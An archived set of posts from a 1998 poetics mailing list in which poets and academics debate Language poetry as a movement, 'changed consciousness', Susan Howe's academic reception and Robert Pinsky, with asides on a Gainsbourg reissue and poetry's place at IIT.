599. **Todd Baron /*/ ReMap**
tata
Fri 20 Nov 1998

---

just a noitce of "strangeness" and wonder:

I come home--and daily check the list--in a day's time I get 50-65 hits on the list---but each evening they taper off--

I notice that!
I do.

SO MUCH writing on this list seems to take place from

a) "bac" east
2) during "the day"
c) what the hell do most of you people do that you have so much time on yr hands?

#) It is a wonderful life.

Todd Baron
(ReMap)

ps: A strong rec. to read the Serge Gainsbough book that TAM TAM has just published. Tosh Berman has brough a wonderful text +back+ into print!

↑ Index

600. **Mark Weiss**
Re: the second death of the L=A=N Author
Fri 20 Nov 1998

Imagism and Objectivism as coherent movements, rather than as practice, have receded so far into history as to have become difficult to see in context. I have never seen NAP referred to as a movement anywhere but on this list. To the best of my memory it was an anthology that attempted to be a taxonomy of poetry that was in some sense outside. The groupings it defined overlapped to an extent but were usually at each others' throats, socially and theoretically. They look a lot more similar from the vantage point of this moment than they did at the time. Language poetry has had some influence on a lot of poets who don't identify with it and has displayed some affinities with a lot of poets who arrived at some similar theoretical and tactical stances before or independently of LP. One eminent poet of unquestionable avant garde credentials who will remain unnamed because he doesn't like to be brought into these controversies once turned down inclusion in an important anthology because the editor thought he should be there to represent "deep image." He preferred his independence, no matter how useful cooptation might be. Much of the rest, David, is hype.

At 02:40 PM 11/19/98 -0800, you wrote:
>A post of mine some months ago might be revived in new format now :
>
>
>Stage Imagism Objectivism New American Poets L=A=N poetry
>
>Forming 1909-1911 1925-28 1947-1949 1969-1971
>
>Manifesto 1912 1930 1950 1972
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>Original-Group
>Cohesiveness 1912-1929 1930-1934 1950-1975 1972-1992
>
>These dates are of course highly arguable, and may, where verifiable, be
>slightly off (I have not taken the trouble to look them up). By the time
>of Amygisme, 1913, the Imagist movement was arguably over. However, I am
>respecting the close association continuing between EP and WCW, Bill Bird's
>publishing, Marianne Moore's editing of The Dial, etc.
>
>The interrupted Objectivist (non)movement can be seen to enjoy a 2nd life
>with the publications of the 60s.
>
>Once poets not in the originating group enter the picture -- v. Anselm
>Hollo's inclusion in later editions of _The New American Poetry_ , or (in a
>media source I've forgotten) the naming of Leslie Scalapino, Anne
>Lauterbach and Paul Hoover as Language Poets--one realizes that the
>original movement has had broadened its definitions broadened, if only in
>under-informed minds, to the point of dispersal. (Understand I am not
>disparaging the work of these 4 poets; that is not the point here; NAP and
>Langpo are fortunate to have them as ex officio members).
>
>While there is no reason for history to repeat itself, it often does, and
>the 20-year span of Imagism,and the 25-year span of the NAP, match up
>closely with the 23-year span of L=A=N.
>
>Of course, EP, HD and WCW & other of their peers continued to use this or
>that Imagist device through all their days. But it was redndantly odd to
>refer to any of these in 1938 as "Imagists." And to me there is a like
>redundancy in referring in 1979 to Duncan, Creeley, Levertov, Ashbery as
>"New American Poets."
>They were still exploring devices the NAP revolution had given them (that
>they had given to the revolution), yes; but their poetic identities had
>become such that the group label was now painfully inadequate.
>
>This is how I feel now about L=A=N; that it has active extension in the
>recent writing of its progenitors, there is no question, despite, say, the
>radical change in Perelman's poetic. What one needs to question is what can
>be gained, today, by regarding L=A=N poetry as anything but an historical
>event? Bernstein, Andrews, Silliman, Hejinian, Watten, et al, have entered
>a period where their distinctness each from each becomes primary.
>
>When non-originating poets attempted Imagism in the 1930s et seq; when

>non-o poets attempted NAP means in the 1970s; and when non-o poets attempt
>L=A=N moves in the 90s, the results are seldom laudable--unless admixed
>with much else. Times change : poetic movements are born from the necessity
>to face that; in their beginning is also their end. Where are the detestors
>of the poetry of Chris Stroffolino, Mark Wallace, Mark duCharme, Peter
>Gizzi, Elizabeth Willis, Jennifer Moxley, Steve Farmer, Lisa Robertson,
>Deanna Ferguson, Lissa Wolsak, Jeff Derksen, Darren Wershler-Henry...(and
>one could go on and on in the pleasurable rounding up of equally attractive
>poets) ? Where are their detractors, one of whom will give them the group
>identity they may or may not want? (Ron might have mentioned 'Cubisme'
>also; and the 'Kitchen Sink' school. etc).
>
>David
>
>

↑ Index

601. **A. Jenn Sondheim**

Re: the second death of the L=A=N Author

Fri 20 Nov 1998

Odd, when I first looked at this I thought, LAN, local area network, the neighborhood aspect of the Internet, people like myself and jodi.org or hmmm.. maybe Steve Duffy or Miekal And, working the Net towards a differ- ent language which owes nothing to the GUAGE following, as far as I can tell - there are other forms of freedom, interesting not so tied into the academy maybe, or maybe otherwise, but then the chart's crystal, already tied into place like a hieroglyph body, I mean the fact that there could be one. Which is good, I'd want to see Byron there somehow, since Don Juan _was_ an influence, or Chatterton's trip to London, I almost wrote Vegas for the lot it through at him. So if there are LAN authors dying or sick out there, maybe it's cause the GAUGE has broken, no longer measures, as the words reach across worlds, epistmologies, dynamicisms, and I don't mean vorticism come alive, but things that tear into one, that leave the safety of language altogether. Maybe LANs are unsafe, already WAN, wide- area-network - tie them together, you've got an internet, log in and capitalize the I, whoever you are, shifting across Jacobson in the nite...

Alan

↑ Index

602. A. Jenn Sondheim
correction
Fri 20 Nov 1998

---

well, I meant that London threw at him, and I meant epistemology, how these words fly out, look perfect until the equally perfect glare hits the screen and what was lucid becomes uninterpretable.

Alan

↑ Index

603. Peter Ganick
Re: poetry and consciousness
Fri 20 Nov 1998

---

michael...

i had forgotten temporarily about the french tradition (which i certainly know about well and should have recalled) and did not know about the james connection at all (thanks for that, i'll investigate further)...but as an apologist for the L= school and wanting to find something distinctive and in- novative in their efforts, perhaps the thing that distinguishes them is the 'group' effort aspect they embodied...the sense that the whole is greater than the sum of the parts...stein cer- tainly altered grammar/consciousness (maybe more radically than some L=poets even), but the late 60s (which i lived through in college) was a time when the 'group' concept was first started -- the beatles, the rolling stones, the byrds were the start of something that people take for granted now... (believe me, i'm not trying to pull older/newer poet on you either...i only listen to 90s modern rock now...how many times can one find 'all you need is love' exciting, though it is a good message...

more on this later...back to the digest...

peter ganick
potes & poets press / a.bacus

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604. Gabriel Gudding
A Defense of Cheap Shots
Fri 20 Nov 1998

Henry Gould wrote:
> p.s. sometimes satire is the best & most interesting way to respond - to
> puncture a tire, etc. But it's also a cheap shot.

1). What are the beauties of a cheap shot? The cheap shot is unjust, it breaks the rules, yet it remains relevant. It is therefore a perfect device: its illegal status makes it easily dismissable -- therefore releasing the opponent from the burden of response!

2). It also provides the opponent with the ammunition of Indignation and Moral Righteousness: these are very fun weapons. What a gift!

3). Look what I have given Mark DuCharme! Look what I have given Eliza McGrand!: should they choose to look now at their armamentaria, they'll notice gleaming there the new hurky cudgels of moral indignation and flustered righteousness. Call me Benefactor.

4). Murk has already picked up these great cudgels: Let him fear my atlatl. I will fear his Jimmy Swaggart cudgel if he fears my ligneous atlatl.

> *I realize I will now be hit on as a humorless hypocrite & people will pipe up to say that jokes & free-for-all are what makes the list interesting, okay.*

5). What can I do but hit you? The alliance of poetry (and, more broadly, satire and letters in general) with antics, jokes, laughter & irrelevancies has been and will remain probably THE sustaining timber under the boardwalk of English letters.

> *maybe there needs to be a sub-poetics humor list, for those who would rather focus on that kind of interplay. I will not be joining that list. Not today anyway - maybe tomorrow.*

6). The latest list laureate du jour, Spicer, would have been on that list. As would Vachel Lindsay. Both knew the importance of vaudeville, of verbal slapstick.

7). Death and death again to the High Seriousness & Stupidity of Earnestness that has infested "poetics"; death to serious thought. Thought should be loose. A Donkey Death to "free poetics" if its gonna be chained to the rotting beached whale of Literary High Seriousness.

8). Slapstick, let us remember, is not violence: it is the parody of violence and the satire of the pompous. If there weren't some Raging Pomposities committed here in the name of "Poetics" I wouldn't be going on at length about what it means to hit people, god help me.

Guantanamo Gudding

↑ Index

605. **henry gould**
Re: A Defense of Cheap Shots
Fri 20 Nov 1998

Dear Guantanamo, I agree witch youse 100%, & admit my complaints was vague & scattershot. Your posts is welcomed by this postee. Satire is triesta with a T. Mutt I have still concoined wid da way a tread is oftten dishipated & smoithered by the shame 5-6 constanto-posters (me amongst dem) aroun the shame ol isshues (who the Greatest 3 Language Poets Are & When Did They Succeed & When Did Their Influence Begun to Filter Troo Da Filters of Da Youngun Grateful Uns fer ex.) & have shimple shugestion that peoples resh-pond to perticular main argscements of initial posht rawther than devolvulate into extshtended blather of Litwayway Eunuchs Inc. an let some adem lurkers open them beanstuffers.

- Ezra Pound, standing in for the "higgler", a.k.a Henry Gould

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606. **nicholas grindell**
Re: tata
Fri 20 Nov 1998

> *ps: A strong rec. to read the Serge Gainsbough book that TAM TAM has just published. Tosh Berman has brough a wonderful text +back+ into print!*

what's it called? (if it's not a translation of his 1980 scatalogical conte parabolique "evguenie sokolov" then i'd like to recommend that too)

greetings

↑ Index

607. **Michael Magee**
Re: my poet laureate can beat up your poet laureate
Fri 20 Nov 1998

Wow, I could do a lot worse than wake up one morning and find myself implicitly compared to both Busta Rhymes and Ted Berrigan - thanks Rachel! (even if the only common denominator is that we all once mentioned kicking ass....hmmm...) -m.

According to Rachel Loden:
>
> New quartet a-bornin'?
>
> Busta Rhymes wrote:

>
> > I always roam the forest just like a Brontosaurus
> > Born in the month of May so my sign is Taurus
> > I kick you in the face like my fuckin' name was Chuck Norris
>
> Michael Magee wrote:
>
> > In my more masculinist moments - please note the irony - I
> > feel like I'd really knock someone the fuck out in support of The
> > Birth-Mark or Singularities.
>
> Ted Berrigan wrote:
>
> > Orange cavities of dreams stir inside "The Poems"
> > Whatever is going to happen is already happening
> > Some people prefer "the interior monologue"
> > I like to beat people up
>
> Paging Tom Mandel . . . white courtesy telephone, please . . .
>
> Rachel "The Body" Loden
>

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608. **Jacques Debrot**
Re: changing consciousness
Fri 20 Nov 1998

By the term "changed consciousness," is what is being meant a psychological effect somehow in excess of aesthetic experience? One that is not, in other words, circumscribed by ART? If so, the problem is, it seems to me, that without a theory of the mind subtending it -- like the Surrealists perhaps -- the term doesn't have any real specificity. In visionary poetry, like Blake's, Duncan's, Bob Kaufman's, or Hannah Weiner's, the reader is more of a *witness* to a particular vision than a full participant in it. But the term "changed consciousness" implies something different -- there is a kind of equality between the writer's & the reader's experience -- that is, it's a matter, as Bob Grumman suggests, of the writer finding an effective "technique." But to say that such a technique "changes consciousness" is to implicate a precise mental topology, isn't it, if it's not to be contained wholly within, say, the aesthetic category of the sublime? As for the L- poets, they don't seem paticularly interested in subjective psychological experience -- in dreams, for instance, or in any form of automatism. So

what exactly do the people using it in this thread mean by "changed consciousness?" Is the consciousness that is being changed an ethical consciousness? political? psychological? spiritual? . . .

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609. **miekal and**
executionisms
Fri 20 Nov 1998

A. Jenn Sondheim wrote:
>
> Odd, when I first looked at this I thought, LAN, local area network, the
> neighborhood aspect of the Internet, people like myself and jodi.org or
> hmmm.. maybe Steve Duffy or Miekal And, working the Net towards a differ-
> ent language which owes nothing to the GUAGE following, as far as I can
TELL

A L A N

I KNOW WHO miekal and IS BUT NOT STEVE DUFFY CAN YOU TURN ME / US ONTO THE APPROPRIATE URLS

?/?=!

& surely you must detect a tiny hint of clark coolidge & bruce andrews in my work tho in my only bid for languag$e startdom way back in 78, my aleatoric review of John Cage's Empty Words was summerarily rejected.

miekal

hey, when is that issue of perforations _on noise_ going to online?

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610. **Judy Roitman**
Re: changing consciousness
Fri 20 Nov 1998

---

from Jacques Debrot

> *By the term "changed consciousness," is what is being meant a psychological effect somehow in excess of aesthetic experience? One that is not, in other words, circumscribed by ART? If so, the problem is, it seems to me, that without a theory of the mind subtending it -- like the Surrealists perhaps -- the term doesn't have any real specificity. In visionary poetry, like Blake's, Duncan's, Bob Kaufman's, or Hannah Weiner's, the reader is more of a *witness* to a particular vision than a full participant in it. But the term "changed consciousness" implies something different -- there is a kind of equality between the writer's & the reader's experience -- that is, it's a*

> *matter, as Bob Grumman suggests, of the writer finding an effective "technique." But to say that such a technique "changes consciousness" is to implicate a precise mental topology, isn't it, if it's not to be contained wholly within, say, the aesthetic category of the sublime? As for the L-poets, they don't seem paticularly interested in subjective psychological experience -- in dreams, for instance, or in any form of automatism. So what exactly do the people using it in this thread mean by "changed consciousness?" Is the consciousness that is being changed an ethical consciousness? political? psychological? spiritual? . . .*

Epistemological/ontological. At least for me.

Using certain words as nouns already sets us up for something. The penumbra of prepositions (which phrases take "of"? etc.) ditto. And so on.

When a Zen teacher says "If you say this is a stick you are attached to name and form, if you say this is not a stick you are attached to emptiness" this is in (how large a?) part a comment on [note those word "in" and "on" here] how "is" shapes the mind, how the linguistic category "noun" shapes the mind.

"The" and "a" two more perpetrators. And so on.

I suspect --- but not being a historian of these things can't say for sure, perhaps others will comment --- that this is really the influence of Buddhism on contemporary poetics. Focus on this relationship is deeply implicit in Buddhist practice.

But often not explicit, and certainly not prescriptive on poetics. Poetics that are [note the plural] corollaries of this concern seem fairly recent (and of course do not necessarily have Buddhist sources). The classical East Asian poetry that we see in standard anthologies, even the particularly Buddhist poetries that arise in various Buddhist canons, seem to ignore these notions. But again I am not a scholar of these things and could easily --- hope to --- be wrong.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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611. Judy Roitman
Re: changing consciousness
Fri 20 Nov 1998

As if grammar isn't already enough of a problem, what about the thesis that moving to an alphabet necessarily changes consciousness? (For an eloquent explication, see David Abram's The Spell of the Sensuous.)

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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612. Kathleen Crown
Susan Howe thread
Fri 20 Nov 1998

A few thoughts on the Susan Howe thread (thanks to Andrew for bringing it up!):

If academics are paying attention to Susan Howe's work, they seem to be more comfortable with some aspects of it--the archival/historical dimension, the visual elements, the formalist experimentation--than others (eg, the visionary antinomianism). You don't see much attention paid to how these formal and historical issues connect to her perhaps more radical and disturbing concepts--such as the linguistic operations involved in registering traumatic experience ("mystic speech"), or her narrators' ecstatic, "unstable I-witnessings," which demand new theories of the sources and limits of poetic agency.

Also, it seems to me that Howe's work has benefited from feminist poetry criticism's increasing unwillingness to work within one or the other of the categories we hear so much about here: "marginal," "mainstream," etc. Lynn Keller discusses Howe's work in _Forms of Exansion_ next to that of poets like Rita Dove, while Maeera Shreiber and Yopie Prins include statements by Howe as well as by Marilyn Hacker in their recent collection, _Dwelling in Possibility_. I suppose this could be considered as merely a sign of Howe's absoprtion into mainstream criticism, but I take a more optimistic view. (I've written more about this in my review essay, "Feminism, Poetry, and the Public Sphere," forthcoming in _Contemporary Literature_).

To add another recently published Howe item to the MLA biblio--thought it's hardly a "mainstream" academic publication: I guest edited a special issue of _Women's Studies: An Interdisciplinary Journal_ based on the 1997 MLA sessions on "The Contemporary Long Poem: Feminist Intersections and Experiments." One event was a roundtable conversation with Susan Howe, Sharon Doubiago, Harryette Mullen, Rachel Blau DuPlessis, Aldon Nielsen, Karen Brennan, Laura Hinton, Cynthia Hogue, Donna Hollenberg, Jenny Goodman, Jeanne Heuving, and Kathleen Fraser. The transcript of this conversation, along with my MLA paper on Howe, appears in the _Women's Studies_ issue, which just came out this month.

I do not think we are seeing a "bandwagon" effect--Howe is a *scholarly* poet whose work touches on many of the most important questions in contemporary poetics (eg, relations among poetic form and politics, American history and poetic agency). So it does not surprise me that her work has excited so much academic interest, especially among feminist critics. Of course, I would not want to see her work "included" as an exceptional case or token example of an experimental poetics, thereby obscuring our view of other exciting work that is now being done by other (and many younger) poets. But the publications mentioned above indicate to me that that's *not* what's happening. --Kathy Crown

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613. **MAYHEW**

Re: Irby on Duncan

Fri 20 Nov 1998

As organizer of the event, I'd be glad to report briefly. It was an informal presentation, Ken Irby spoke extemporaneously from notes. I have a tape-recording of the presentation and subsequent discussion, which centered on Duncan's notation, his prosody and oral performance, the accessibility of his work, the role his essays played in creating an audience for his work, Irby's personal reminiscences, and numerous other topics.

On Thu, 19 Nov 1998, Ron Silliman wrote:

> *Can somebody who was there (preferably) report on what Ken Irby said in his talk on Robert Duncan in Lawrence last Tuesday? I'd be very grateful,*
>
> *Ron*

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas

[redacted]

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614. **miekal and**
Re: Susan Howe thread/Pinsky
Fri 20 Nov 1998

Katie Degentesh wrote:

Poetry
> readings in this day and age are as spintered and specific as musical
> concerts

typos are very telling

--
-The Internalational Dictionary of Neologisms-
[glossary of neologisms collected around the network since 1985, submit yours....]
http://www.net22.com/neologisms/

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615. **Tosh**
gainsbourg tata
Fri 20 Nov 1998

> *ps: A strong rec. to read the Serge Gainsbough book that TAM TAM has just published. Tosh Berman has brough a wonderful text +back+ into print!*
>
> *what's it called? (if it's not a translation of his 1980 scatalogical conte parabolique "evguenie sokolov" then i'd like to recommend that too)*

Well, it is the same translation by John and Doreen Weightman. The Weightman's also did the translation of Levi-Strauss' famous book on Africa, "Tropics... the name escapes me now! There is also an introduction by bart plantenga texturalizing Gainsbourg's place in French contemporary culture and an afterword by Russell Mael of Sparks fame. For personal and practical reasons (I am the publisher) I love this book.

Tosh Berman
TamTam Books

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616. **miekal and**
Poetry readings in this day and age are as spintered...
Fri 20 Nov 1998

Katie Degentesh wrote:
>
> yeah, can I submit "spintered" as a neologism?
>
> miekal and wrote:
> >
> > Katie Degentesh wrote:
> >
> > Poetry
> > > readings in this day and age are as spintered and specific as musical
> > > concerts

Youve used it in a sentence, now let's have the definition. [or for that matter, any definitions anyone might have]

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617. **Jacques Debrot**
Re: changing consciousness
Fri 20 Nov 1998

About the possibility of changing consciousness, Judy Roitman writes that the term is, for her, "Epistemological/ontological. Using certain words as nouns already sets us up for something. The penumbra of prepositions (which phrases take "of"? etc.) ditto. . . . this is really the influence of Buddhism on contemporary poetics. Focus on this relationship is deeply implicit in Buddhist practice." This is extremely interesting, & yes of course it makes sense to speak about Cage as a poet of changed consciousness -- or even, as Perloff argues, Wittgenstein in a sense as well. & I can see it playing out in your own work Judy: "Making up *for*/ (always)// turned around.// Bellies/ *inside* themselves// As if mind.// Format." [Of course I realize my quoting you in this way erases the surrounding white space the poem somehow needs, sorry]. But I wonder if there is a conflict between aesthetic experience & ontological or epistemological experience. Aesthetic experience seems to me conservative -- ordinarily a poem is successful (or isn't) to the extent that it conforms to certain expectations that have already been prepared in advance -- expectations of taste, etc. Radically innovative work is at first invisible in a sense -- isn't recognized immediately as *art* -- precisely because it doesn't conform to such expectations --

but once the term art has been modified to permit this recognition, radically innovative work, too, is implicated within, & receives its value from, a tradition of received ideas, doesn't it? -- the very opposite context than that from which you would expect an epistemological inquiry to begin. So, for instance, as soon as people start talking about Cage's work as being "beautiful," is it still changing consciousness? If I can place your poem, Judy, within an aesthetic context -- evaluate it, for instance, in terms of Creeley's work perhaps, or some of Grenier's things (would this be right?) -- is my primary experience of the poem an ontological one? Or if you, when writing the poem, had certain models in mind after which you shaped your poem to conform, in what way can you say your writing experience was one in which your consciousness was changed?

-- Please pardon my obviously amateurish fumbling with these questions -- & they are, in every sense, questions.

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618. **Susan Schultz**
Re: Merwin's Folding Cliffs
Fri 20 Nov 1998

Aldon--I bought a copy of these cliffs, but haven't yet cracked the spine. Will let you know when I have.

Susan Schultz

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619. **Andrew Rathmann**
Re: Susan Howe thread/Pinsky
Fri 20 Nov 1998

Kathy Crown's description of academics' selective interest in Howe feels largely right to me. She suggests that the more compelling aspects of Howe's work are the ones academics tend not to discuss. But she might have the wrong aspects in mind: trauma, witnessing, and agency are all quite fashionable academic topics (it's true that they are usually linked to narrative--but give the grad students time). Nor do I think that academic disinterest (or anyone's disinterest, for that matter) is ever explained by something being too "radical and disturbing." Usually it just doesn't fit the discourses available to them at the moment. But it does seem true that radical formal experimentation is among the topics _most_ comfortable to academic critics. Experimental poets: take heed.

It's good that feminist critics like Keller don't respect the usual insider/outsider rhetoric, and are willing to take a broader view of poetry. But doesn't the

category "poetry" itself already include everything that goes on in its name? This is not a trivial point.

*

Robert Pinsky's name has been used more than once on this list as a kind of abbreviation for poetic mediocrity. I worry that this will dissuade list-members who are unfamiliar with his work from reading it. Many people have found his poetry to be a source of pleasure. I have found it so. But of course the context of the Poetics List renders opinions weightless.

Andrew Rathmann

^^^^^^^^^^^^^^^

Chicago Review
The University of Chicago
5801 South Kenwood Avenue
Chicago IL 60637
ph/fax: [redacted]
e-mail: [redacted]

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620. charles alexander
Re: Susan Howe thread/Pinsky
Fri 20 Nov 1998

> *It's good that feminist critics like Keller don't respect the usual insider/outsider rhetoric, and are willing to take a broader view of poetry. But doesn't the category "poetry" itself already include everything that goes on in its name? This is not a trivial point.*

Agreed that it does. But where does one go from there. I mean, ideally, it would be great to see a criticism that included language poetry, visual poetry, sound poetry, folk poetry, Robert Pinsky poetry, Brenda Hillman poetry, etc. as equal participants in the field. But I don't know anyone that is doing this kind of overall field work, and if they were, could they possibly be as attentive as needed to the specifics of even any one subset of the field. Plus, how could I possibly demand such a broad-based criticism of anyone, when I know full well myself that there's plenty within the field that I don't want to pay attention to?

So, no, it's not a trivial point. But what did you have in mind as the importance of that point.

charles

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621. **MAYHEW**
Re: Susan Howe thread/Pinsky
Fri 20 Nov 1998

Generalization about academic critics seem facile in this context. After all, more than a few academic critics are used to reading difficult texts, are not theory phobic, and hence are perhaps more receptive to Howe than they would be to Pinsky (these are my facile generalizations).

One the other hand, very few critics who are actually interested in poetic form, radical or otherwise, in my experience. Perloff, Conte, and a few others. This is not the dominant mode of criticism in English departments. There are probably a half dozen feminists to every "formalist" in a typical department. (By formalist I DON'T mean New Critics.)

Who would you suggest as an abbreviation for poetic mediocrity? Pinsky seems as good a candidate as any to me, frankly. He made his name not through his poetry, but through the earnestsness of _The Situation of Poetry_ By all means, check him out for yourselves, don't take anyone else's word. It would be hard to find any poet who didn't offer some pleasure to some reader.

Jonathan

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622. **Judy Roitman**
Re: changing consciousness
Fri 20 Nov 1998

> *About the possibility of changing consciousness, Judy Roitman writes that the term is, for her, "Epistemological/ontological.*
> *Using certain words as nouns already sets us up for something. The penumbra of prepositions (which phrases take "of"? etc.) ditto. . . . this is really the influence of Buddhism on contemporary poetics. Focus on this relationship is deeply*
> *implicit in Buddhist practice." This is extremely interesting, & yes of course it makes sense to speak about Cage as a poet of changed consciousness -- or even, as Perloff argues, Wittgenstein in a sense as well. & I can see it playing out in your own work Judy: "Making up *for*/ (always)// turned around.// Bellies/ *inside* themselves// As if mind.// Format." [Of course I realize my quoting you in this way erases the surrounding white space the poem somehow needs, sorry]. But I wonder if there is a conflict between aesthetic experience & ontological or epistemological experience. Aesthetic experience seems to me conservative -- ordinarily a poem is successful (or isn't) to the extent that it conforms to certain expectations that have already been prepared in advance -- expectations of taste, etc. Radically innovative work is at first invisible in a sense -- isn't recognized immediately as *art* -- precisely because it doesn't conform to such*

> *expectations -- but once the term art has been modified to permit this recognition, radically innovative work, too, is implicated within, & receives its value from, a tradition of received ideas, doesn't it? -- the very opposite context than that from which you would expect an epistemological inquiry to begin. So, for instance, as soon as people start talking about Cage's work as being "beautiful," is it still changing consciousness? If I can place your poem, Judy, within an aesthetic context -- evaluate it, for instance, in terms of Creeley's work perhaps, or some of Grenier's things (would this be right?) -- is my primary experience of the poem an ontological one? Or if you, when writing the poem, had certain models in mind after which you shaped your poem to conform, in what way can you say your writing experience was one in which your consciousness was changed?*
>
> *-- Please pardon my obviously amateurish fumbling with these questions -- & they are, in every sense, questions.*

Far from amateurish fumbling, as you no doubt know.

A sense of consciousness changing/opening/reshaping seems more to the point then beauty. Not oppositional to it, just more fundamental, the _ground_ so to speak of beauty. Whatever that is. And I'm not sure I'm comfortable with it (beauty) --- something a little off there, a little confining.

A shift of some kind, certainly. Without that shift, why bother?

As for the contrast between what is expected and what is not, my own experience at the periodic eclectic readings we have around here is that all sorts of folks seem to get something from my work and other work like it --- I am always surprised by this --- people who have not been trained to expect that sort of thing. So it is not so clear to me, the role that expectations play. I think everyone has had the experience of seeing/hearing/reading something completely out of expectation and thinking --- yes, that is what I was looking for all along.

On the other hand, some of the discussion at Irby's seminar Wednesday on Duncan was exactly to the point of the need to construct an audience, to clue them in to the terms of the work. Perhaps this translates into "what to expect." I don't know. Another thread in Irby's seminar was the enormous range of Duncan's influence, the wide range of work of those he deeply affected, none of whom, to put it in the words of this particular e-exchange, could be said to imitate him to the point where "expecting Duncan" would necessarily lead to "expecting [fill in your favorite Duncan heir]".

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code

---
http://www.math.ukans.edu/~roitman/

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623. Katie Degentesh
Re: Susan Howe thread/Pinsky
Fri 20 Nov 1998

charles alexander wrote:
>
Ideally, it
> would be great to see a criticism that included language poetry, visual
> poetry, sound poetry, folk poetry, Robert Pinsky poetry, Brenda Hillman
> poetry, etc. as equal participants in the field. But I don't know anyone
> that is doing this kind of overall field work, and if they were, could they
> possibly be as attentive as needed to the specifics of even any one subset
> of the field. Plus, how could I possibly demand such a broad-based
> criticism of anyone, when I know full well myself that there's plenty
> within the field that I don't want to pay attention to?
>

I don't think it's going to be possible to see a criticism that includes language, visual, sound, folk, and Pinsky poetry until we have poetry readings that incorporate all of these poetic offshoots. Poetry readings in this day and age are as spintered and specific as musical concerts -- but for some reason, while people who appreciate a particular style of music are usually able to acknowledge the legitimacy of other "brands," those who appreciate poetry generally cling to a more rigid definition of it.

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624. Joe Amato/Kass Fleisher
Re: Susan Howe thread/Pinsky
Fri 20 Nov 1998

andrew, i think the discussion of how howe is rec'd, in order to be really useful, would have to be broadened some---and probably to the inclusion of poets other than howe... since the reception we're discussing has in part, anyway, to do with academic institutions, permit me to digress...

you are teaching---adjuncting---at iit, right?... so is my wife/partner kass fleisher (see "from" line, above)... in fact i teach there, and have been teaching there for going on seven years now (full-time, tenure-track)---my mailbox in 218 siegel is in the upper-right-hand corner of the same grey steel assemblage of gopher

slots in which your name (and kass's) appears... i saw your name on poetics the other day and something clicked---and when i went in and checked, sure enough there was a "rathmann" on one of the gopher slots... a little discussion with our office admin revealed that it's likely the very same *you*... and of course i recognize your name from _chicago review_... so i've been meaning to post you, and though this is an odd way to introduce mself, what the hell... (and who knows?---maybe you recognized *my* name, but weren't sure how to go about introducing yourself... i too have been timid in this regard on occasion---really)...

now the distance from your mailbox to mine is approx. three feet... and for all i know we two may very well have been standing in the same space at iit---to my knowledge, we've never met... but in fact i've been trying to steer clear of the place, and since i'm on a t/th (mostly evening) schedule, and (according to our scheduling board) you would seem to be on a m/w schedule, it's unlikely our paths will cross (though you and kass must surely have crossed paths, b/c she's in on m/w afternoons---in fact you must be sharing the "adjunct" office with her, which is right next to mine... i'll have to ask her to seek you out)...

in any case, you haven't actually been asked, as an adjunct, to participate in any faculty activity at iit---or have you?... a dept. meeting, perhaps?... the xmas party? (i won't be in attendance, neither will kass)... perhaps the annual fall humanities reception at _____'s house, here in hyde park (where we live---do you live around here?)... would you attend if you were asked? (have you?)... what do you think of the place?...

anyway... one might observe that this is the first time we two have met, so to speak---*here*, *now*, or for you, *then* and *there*...

so what does this have to do with howe?---with any "formally innovative" poet?---with any poet, in fact?... well for one, since i've been denied tenure, and since the dept. saw fit to let andy levy go some three years ago, that pretty much does it for tenure-track, full-time poets, or scholars of poetry... there *is* one other person at iit who also teaches poetry on occasion, and has an interest in same---but his position has been earmarked, as it were, for rhetoric/composition consumption, as mine was earmarked for technical and professional writing... thing is, my primary work has been in poetry, and it's unlikely in the wake of my denial that anyone will follow my lead ('teach this, write about that'---as i was told seven years ago would be perfectly acceptable at iit)... i'm certain there are other faculty at iit---in architecture perhaps, or design?---who know a thing or two about things poetic... who knows?...

but my and andy's departure pretty much means that iit, for all intents and purposes, and aside from the occasional adjunct hire, has given up formally on poetry (among other things)---if it ever had an interest in it in the first place... to

confirm this, you need only have a look at the december mla job list, the position description for my... position... you'll see nary a nod in there toward "creative" or "literary" or "poetic" interests or background... though of course administrators at iit would LOVE to see the creative writing journal andy started, _bloo_, back in business... they're just not willing to PAY for it...

and have you been to the iit library of late?... have you had a close look at their so-called holdings, in poetry specifically?...

ok: in all, what i'm trying to get across here (at the risk of being a bit precious, and a bit too self-oriented) is that the nature of our institution is such that two (of the possible three) people who might have something substantive to say re susan howe, or any other *contemporary poet*, are separated as much by the institutional constraint(s) of rank as by the constant normative pressure of bottom-line thinking---i.e., programmatic curricular objectives (which latter btw resulted in iit's m/w, t/th schedule---long story having to do with the iit's new "interprofessional projects," and there has been much concern voiced regarding a potentially two-shift faculty)... surely our (yours and mine) institutional isolation doesn't exhaust the potential for a poetry *cadre*, anymore than the formal absence of a poet on the faculty will prevent poetry from being taught on occasion... and surely iit's dept. of humanities is not alone here... but just as surely, one can grasp the liminal status of poetry at iit simply by noting the degree to which the institution itself simply doesn't give a good shit...

so when aldon alludes to the woeful status of poetry in the academy, i have a hunch that this is the sort of thing he has in mind (though my mind-reading abilities leave something to be desired)... the point is that the relative neglect or relative proliferation of susan howe (e.g.) simply must be situated within some larger, historical understanding of (for one) "the" academic institution (quotations meant to connote variety)---thence to various manifestations of english (or humanities) depts... i suspect, once this is done, some odd twists and turns will emerge as to who is reading what, and why... though of course local perturbations do not negate drawing general conclusions, i think the issue itself cries out for context...

anyway, hey---sorry for going on some about our shared context (to the extent we share it)... it's nice to make your acquaintance, really...

best,

joe

nb the best thing i've ever read by pinsky is not a poem---it's his essay, "nerds, technocrats, and enligtened spirits," in _tolstoy's dictaphone: technology and the muse_, ed. sven birkerts (graywolf, 1996)... it originally appeared in _doubletake_, as i recall...

~~~~~~~~~~

Joe Amato
5040 S. Woodlawn Ave. #3N
Chicago, IL 60615-2829
[redacted]
[redacted]
http://www.iit.edu/~amato

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625. **A. Jenn Sondheim**
alan's new description on the talker (after deliberation)
Fri 20 Nov 1998

-

alan's new description on the talker (after deliberation)

